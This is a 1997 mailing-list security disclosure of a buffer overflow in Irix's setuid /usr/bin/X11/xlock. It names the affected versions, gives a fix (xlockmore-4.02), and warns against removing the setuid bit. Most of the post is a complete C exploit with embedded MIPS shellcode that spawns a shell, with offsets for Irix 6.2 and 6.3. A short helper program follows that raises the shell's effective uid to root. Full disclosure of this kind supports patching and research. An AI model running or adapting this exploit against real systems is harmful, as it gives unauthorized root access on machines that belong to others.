Irix buffer overflow in /usr/bin/X11/xlock

David Hedley (hedley@CS.BRIS.AC.UK)
Sun, 25 May 1997 19:31:32 +0100

Hi there again,

Just to finish off with, here's an exploit for /usr/bin/X11/xlock which
Yuri also mentioned was vulnerable. Hopefully after the CERT advisory,
everyone will have installed xlockmore-4.02 in its place so this
shouldn't hit anyone too badly.

It's a similar exploit to the one for /usr/sbin/eject in that we hit $gp
instead of $ra. This also means the exploit won't work on Irix 5.x. The
exploit is also quite sensitive to its location and may need tweaking to
work on platforms other than those I have tested it on.

Details:

Exploit tested on: O2 R5000 (Irix 6.3), PChallenge R8000 (Irix64 6.2)

Vulnerable: 5.3, 6.2, 6.3 at least. Exploit won't work on 5.x

To fix: get xlockmore-4.02 from
ftp://ftp.x.org/contrib/applications/xlockmore-4.02.tar.gz

_Do not_ do chmod u-s /usr/bin/X11/xlock if you are using shadow
passwords, as xlock still locks the screen but then won't recognise your
password to unlock it! (at least, this happened to me!)

The exploit as posted works on Irix 6.3. To get it to work on 6.2,
either change OFFSET from 0x118 to 0x160, or pass the program '20' as a
parameter.

Note that the shell spawned as a result of this exploit has uid=0,
euid=youruserid. To make your euid=0 you'll need a program like the
following:

void main(void)
{
setuid(0,0);
execl("/bin/sh", "sh", 0);
}

Regards,

David

--
 David Hedley (hedley@cs.bris.ac.uk)
 finger hedley@cs.bris.ac.uk for PGP key
 Computer Graphics Group | University of Bristol | UK

------------------- cut here -------------------------

/* /usr/bin/X11/xlock exploit by DCRH 25/5/97 * * Tested on: R5000 O2 (Irix 6.3) * R8000 Power Challenge (Irix64 6.2) * * For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter * * Exploit doesn't work on Irix 5.x due to stack position * * compile as: cc -n32 xlock.c */

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h>

#define NUM_ADDRESSES 800 #define BUF_LENGTH 80 #define EXTRA 190 #define OFFSET 0x118 /* 0x160 for Irix 6.2 */ #define GP_OFFSET 32472 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */

#define u_long unsigned

u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp */ 0x03e00008, /* jr $ra */ 0x00000000, /* nop */ };

u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 */ 0x2084edcc, /* sub $4,0x1234 */ 0x0491fffe, /* bgezal $4,pc-4 */ 0x03bd302a, /* sgt $6,$sp,$sp */ 0x23e4012c, /* addi $4,$31,264+36 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 */ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) */ 0xaca6fefc, /* sw $4,-260($5) */ 0x20a5fef8, /* sub $5, 264 */ 0x240203f3, /* li $v0,1011 */ 0x03ffffcc, /* syscall 0xfffff */ 0x2f62696e, /* "/bin" */ 0x2f7368ff, /* "/sh" */ };

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack, tmp; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

stack = get_sp();

if (stack & 0x80000000) { printf("Recompile with the '-32' option\n"); exit(1); }

long_p =(u_long *) buf; targ_addr = stack + OFFSET;

if (argc > 1) targ_addr += atoi(argv[1]) * 4;

if (targ_addr + GP_OFFSET > 0x80000000) { printf("Sorry - this exploit for Irix 6.x only\n"); exit(1); }

tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

while ((tmp & 0xff000000) == 0 || (tmp & 0x00ff0000) == 0 || (tmp & 0x0000ff00) == 0 || (tmp & 0x000000ff) == 0) tmp += 4;

for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++) *long_p++ = tmp;

for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP;

for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i];

tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;

for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = (tmp << 16) | (tmp >> 16);

*long_p = 0;

printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env); perror("execl failed"); }